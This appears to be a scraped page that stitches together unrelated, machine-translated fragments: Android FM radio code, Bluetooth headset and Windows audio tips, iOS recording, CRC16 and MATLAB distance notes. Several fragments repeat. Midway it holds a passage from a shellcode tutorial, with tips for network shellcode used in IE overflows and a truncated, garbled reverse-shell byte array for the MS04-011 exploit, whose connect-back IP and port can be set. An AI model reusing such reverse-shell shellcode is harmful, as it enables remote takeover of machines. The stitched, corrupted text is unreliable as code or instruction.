1. Modify FMRadioService. java
Add:
Copy codeThe Code is as follows: public static final int MSG_EXIT_FM = 1234;
Private Handler sHandler11 = new Handler (){
@ Override
Public void handleMessage (Message msg ){
FMRadioLogUtils. d (TAG,
1. bluetooth devices of smartphones use very small batteries. If many of our mobile phone Bluetooth devices are unavailable, the Bluetooth device will automatically shut down or enter the sleep status of the device, this saves power. If such a
Power on: Long Press the button for about 2 seconds to blue light;Power Off: Press and hold the button for about 3 seconds to a red light.Connect your phone:1. Press and hold the button to enter the pairing status (blue light Flash)Note: the first
The first step: we use the right key computer taskbar to the right of the "sound (S)" shown in the following figure.
Step two: When we get to the sound window, we click on the second tab to "Record" and you will see that the reminder microphone
If there is a problem, the first step, of course, is to reinstall the driver associated with the installation, which eliminates the noise problem caused by the driver. Once the installation is complete, we can enter the control panel of the system.
The Windows XP operating system has just been installed, but a problem has been found that the headphones in front of the desktop computer are out of voice. The following is a step-by-step explanation of the operation:
The first step: click
1. Modify Fmradioservice.java
Add to:
Copy Code code as follows:
public static final int msg_exit_fm = 1234;
Private Handler SHandler11 = new Handler () {
@Override
public void Handlemessage (msg) {
FMRADIOLOGUTILS.D (TAG, "sHandler11
, ebp ebx = Name pointers tableDec ECxMoV ESI, [EBX + ECx * 4]Add ESI and ebp esi point to name pointerYou can search for it by yourself!
TIPS:1. It is best to add wairforsingleobject when writing network shellcode again.2. Do not forget exitprocess to avoid many program errors.3. Do not have 0a after the code passes xor99, because in IE overflow, 0a is converted to 0d0a, which will be shortened during string copy.Let's write this! I hope you will be inspired!
The following three general shellco
tableDec ECxMoV ESI, [EBX + ECx * 4]Add ESI and ebp esi point to name pointerYou can search for it by yourself!
TIPS:1. It is best to add wairforsingleobject when writing network shellcode again.2. Do not forget exitprocess to avoid many program errors.3. Do not have 0a after the code passes xor99, because in IE overflow, 0a is converted to 0d0a, which will be shortened during string copy.Let's write this! I hope you will be inspired!
The following three general shellcodes are provided:
1. bind
shellcode in ms04011 as an example:// Reverse shellcode. Here, the offset of the plug-in port used for reverse connection is 118, and the offset of the inserted IP address is 111.Unsigned char reverseshell [] ="/Xeb/x10/x5b/x4b/x33/xc9/x66/xb9/x25/x01/X80/x34/x0b/x99/xe2/xfa""/Xeb/x05/xe8/xeb/xFF""/Cross city/x62/x99/x99/x99/xc6/XFD/x38/xa9/x99/x99/x99/X12/xd9/x95/X12""/Xe9/x85/x34/
One, unable to connect the Bluetooth headset
1: Connect the Bluetooth headset, you need to first confirm the Bluetooth option in the phone and Bluetooth headset switch are open, and paired with Bluetooth headset successfully.
bluetooth headset not turned on
Mobile phone a
Long time to sit in front of the computer chatting is very tired, have you ever thought of lying down to chat, or to chat while doing other things? The headphone line is always a drag, it's too inconvenient. In the computer market for a long time, only wireless headset but no wireless microphone, can not only listen to not say? It would be nice to move like a mobile phone. Look at the new phone with the Bluetooth
Wang Feng, who was questioned over-commercialized, threw himself at the centre of the business arena this time.
Wang Feng and Fiil headset team, Fiil headset CTO Shanning (front left one), Fiil headphone CEO Pengjin (front left three)Article: KongmingmingFigure: Yin Xi-yuanEditor: Wang GaoxingFemale Chen ChunhuaA headset factory requires 70 operations, they
IOS recording and playing: A few amazing demands
In a recent project, you need to connect the iPhone with a microphone (Apple is called Headset, and without a microphone is called Headphone), and then synchronize the recording and play. After this function is implemented, you need to change the Input Source for recording and playing.
For Synchronous Recording and playback, you must use the underlying interface. AVAudioRecorder/AVAudioPlayer cannot be
CRC16 common standards are used in various specifications, the principle of its algorithm is basically consistent, that is, in the data input and output differences, below the standards of the differences listed, and give the C language algorithm implementation.
Crc16_ccitt: Polynomial x16+x12+x5+1 (0x1021), initial value 0x0000, low in front, high in the post, results and 0x0000 different or
Crc16_ccitt_false: Polynomial x16+
:
(3) Two n-dimensional vectors A (X11, X12 ,..., X1n) and B (X21, x22 ,..., Euclidean distance between x2n:
It can also be expressed as a vector operation:
(4) Calculation of Euclidean distance using Matlab
MATLAB distance calculation mainly uses the pdist function. If X is a matrix of m x N, pdist (x) treats each row of m in the X matrix as an n-dimensional vector, and then calculates the distance between these M vectors.
Example:
, X12 ,..., X1n) and B (X21, x22 ,..., Euclidean distance between x2n:
It can also be expressed as a vector operation:
(4) Calculation of Euclidean distance using Matlab
MATLAB distance calculation mainly uses the pdist function. If X is a matrix of m x N, pdist (x) treats each row of m in the X matrix as an n-dimensional vector, and then calculates the distance between these M vectors.
Example: Calculate the Euclidean distance between vectors (),
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